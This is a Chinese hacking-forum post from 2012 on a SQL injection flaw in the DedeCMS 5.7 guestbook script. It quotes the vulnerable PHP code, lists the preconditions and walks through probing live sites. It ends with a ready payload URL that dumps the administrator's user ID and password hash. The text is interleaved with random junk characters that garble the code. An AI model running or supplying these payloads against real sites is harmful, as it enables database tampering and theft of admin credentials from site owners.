找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3951|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
( c0 l9 a3 m1 r2 g5 g" n& c9 M
  e+ Q. {6 ^& J3 c) K# `3 I漏洞文件edit.inc.php具体代码:5 Z3 g. d' z( V: b  Z) ]  C3 J
9 q2 I' T2 Q) P5 e
< ?php  
9 K  Q) n2 B0 _  A
' Q1 Z. `7 a2 s+ e* `& D9 x9 v" Uif(!defined('DEDEINC')) exit('Request Error!');  . T! ?5 |8 _, S( T

' p+ C, w! ?& K4 w8 [8 E   
  [7 O5 y0 r+ B1 F4 n
1 `$ u) D4 s9 i& Pif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
  W6 a( L  p) K. Q. C+ m) b+ D3 ~% s4 u8 s7 j0 y/ H
else $GUEST_BOOK_POS = "guestbook.php";  5 {1 f; t" {4 V9 o( W1 o4 H

) q1 o2 P7 j$ i- u% }  ~, x2 |  u0 L   ) h' e1 V9 F: V( L/ P- \, Z4 y
% u, G$ Y; H$ N5 v, O# J
$id = intval($id);  
" q2 L: X( r' i4 B9 R7 p1 B: _
) ], @2 @; s- ]4 t( Iif(empty($job)) $job='view';  
7 [) Z1 j* S9 B; s8 c7 \; _9 c; r( ~# c$ Q* w
   
+ t! M4 \5 _6 H0 V
5 M- g2 }. V0 S+ |if($job=='del' && $g_isadmin)  
# l: d9 E2 B4 b
6 @' _8 ^; V: u{  & F( \+ B- u" M% B( d# y, e7 k

7 _# L% L9 w4 H6 O3 r5 Q  B3 U0 G$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  ! K# m! m  I' l$ O# ~, m
' u* }0 H5 [8 E1 h
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
. S: @$ d4 @, r6 n5 [+ O( m$ `) e! c2 c+ d5 |
exit();  6 w1 A7 \2 x. e+ `% u+ z5 m
1 x) {3 }3 ?6 k3 b( D7 o
}  
- T5 b: b/ ~- U1 N' D: c7 q8 S
' y9 r$ B1 E7 i) M3 Q3 n' W3 Xelse if($job=='check' && $g_isadmin)  
: A3 f! F" ~* S1 a( g1 k5 f' a) Y0 o; |9 b! ~$ |
{  
( ?0 z  l! U7 C% ^; H& ]
4 I" Y. R( {7 W# f0 V# m9 P3 ~$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");    b+ W/ @; S1 N$ J* G
; E/ B! z  v) d3 n% s$ E" o
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
- J' ]& f, a  L" D1 @& Q
$ H* B4 T! F% q+ V0 {exit();  7 P3 w, _' v; Z1 o
9 A. S2 D! h" P4 r; ]: w
}  6 C6 ?& ?; H% j8 C3 x

( F# U% k" _& ~2 e) A3 ielse if($job=='editok')  
8 M% |1 R4 _- h2 d
- m* G' a0 G# N. h{  
1 F) |+ j% d! u; C
! g0 _$ [3 `) F" t- a0 y+ z$remsg = trim($remsg);  
/ v8 m7 n; T9 U7 U) U- O! |; s
8 T& `: i/ a7 V' V' L* C6 \+ L9 f7 T  yif($remsg!='')  
. g. }6 P- e; u1 N" O7 W8 q6 Y1 e2 m$ r4 p  k# C( E
{  . X' q: M' S& X

9 z( o$ Y, }, {- d5 w0 ~; Z1 ?( E//管理员回复不过滤HTML By:Errorera blog:errs.cc  
4 E0 M4 w, L! |* j" [( R: h
( C! Y: y4 U, ^' t) M6 k0 T& f$ pif($g_isadmin)  
" j2 M6 H4 T% u+ X* u" b4 _* Y( x5 G2 F0 T8 z
{    d# s  P; x) L$ O

+ Q6 B% r- z  q$ F& y$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
* H! k" J4 b( s" l6 G% A$ c
; Y! X; d0 W  R* w//$remsg <br /><font color=red>管理员回复:</font> }  
. B, o# F9 i4 }8 Q) a) i8 G; l- P9 |
else / P7 I$ S1 m/ ?$ d2 K0 W# V

* A1 m# y2 u: W{  ) I, D) ^! Y& q
. _( m5 G2 z7 C0 k. ]; Y7 A6 b. p& r
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  % u# e/ f8 ]) |1 |& ]/ J% d: o

0 c; n. V! `3 i+ X3 P# c$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  8 U* n; K8 A  S& j2 Y

' i, A! G- D8 a$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  : a; W3 e& M7 X' ^* r
/ V' S' f3 m# u+ J: ~4 {( b
$msg = $oldmsg.$remsg;  4 s, V; d. Q+ W0 q7 ?

* u! F2 z) _, Y}  & x) S% ?& n+ }; g

9 u+ x9 f2 R! \( I3 k9 F7 ]( i6 ]}  
2 [5 k! m! ?$ R$ ^& ]$ Y
7 i5 p; U: M0 x/ o( \//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  - h/ z. q1 t: @8 Y, F5 }) V
$ |& o# V: k! R
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
& w3 K1 J/ y' k7 R- ^
0 i8 F) ~. k1 ]! dShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  ' i1 G5 V3 R7 o& ]

' x+ M! c8 j1 @' g( Mexit();  
; s& P) y: y+ u$ k" e0 Y. N: q: c) W$ ~: B) ^6 B6 j
}  
7 j% g! J2 Y1 n+ Z* ~' a9 X& y* g# D! q6 p9 W. a
//home:www.errs.cc  * S; N5 b8 }/ Y

1 m5 H% m2 r7 V* ~& \& p  Gif($g_isadmin)  1 d) I/ C* e6 R4 {/ `
' U# w, V% b. n1 V
{  0 a* ]4 d5 C# A. s
/ H  t. x2 ~" s' R) O
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
1 V4 N- \8 s+ u7 j& T( S& [" s$ ~4 F. J  O. t
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
1 b. G8 ?! _# C3 a1 V7 j3 k. Q- C
}  
" y# w0 \6 ]- F5 {" R$ Q# Z* [! h$ ^* I  x% u2 k
else " j# Z  X# z! Q. @* [
, X) Z5 J3 ]" w0 T3 T
{  ( b5 ]" I9 R' `

3 P# C' g- w1 ~, B  ^& B( _# B$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  5 {( s: c5 p0 A  P- S$ a  n

7 S' O2 ^3 F# N/ N+ jrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
5 T  Z/ O4 |' W$ P: E6 }
7 m2 _  Z2 b2 O2 B$ {# J} 漏洞成功需要条件:' F) z1 A9 `3 O
1. php magic_quotes_gpc=off
7 ?# l* ]% `+ d% |( ~" H2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
2 ^8 ?/ e3 u% R5 O7 U
) U# v8 k! q4 D! a怎么判断是否存在漏洞:# H) a7 K0 t7 h+ y+ p- J
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
9 I, B- i( o8 |7 Z( _然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID7 b) n9 X" v9 P3 [; K9 Y4 U: A" d
访问:( e- {. E5 I% U
# T7 U/ L# n: k# X) b
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
' {) ~% O6 g' F  ]跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证% x% n+ Q8 h$ M9 }8 i
  L- |1 a/ o8 ~/ J8 k0 ^2 S6 a" y

, [; K# G9 C  Q. N& S# g明漏洞无法利用应为他开启了 php magic_quotes_gpc=off6 m8 w0 M5 c7 C
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
3 Z$ r7 W5 }5 b( _那么再次访问
$ [. H1 _. D2 u3 B1 |0 K
7 f0 K* g3 t+ I! _* ~www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
! s; s$ m6 L  M7 P! u( Y% k7 {/ P: P# J* J6 ?: T
大概利用就是这样,大家有兴趣的多研究下!!
' d; {* V0 t- z+ v; f
6 L4 |9 f1 J8 V3 b% `7 m) K' h最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
& E. C9 d5 _* {  J" h
* C- i& a8 J7 Zview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表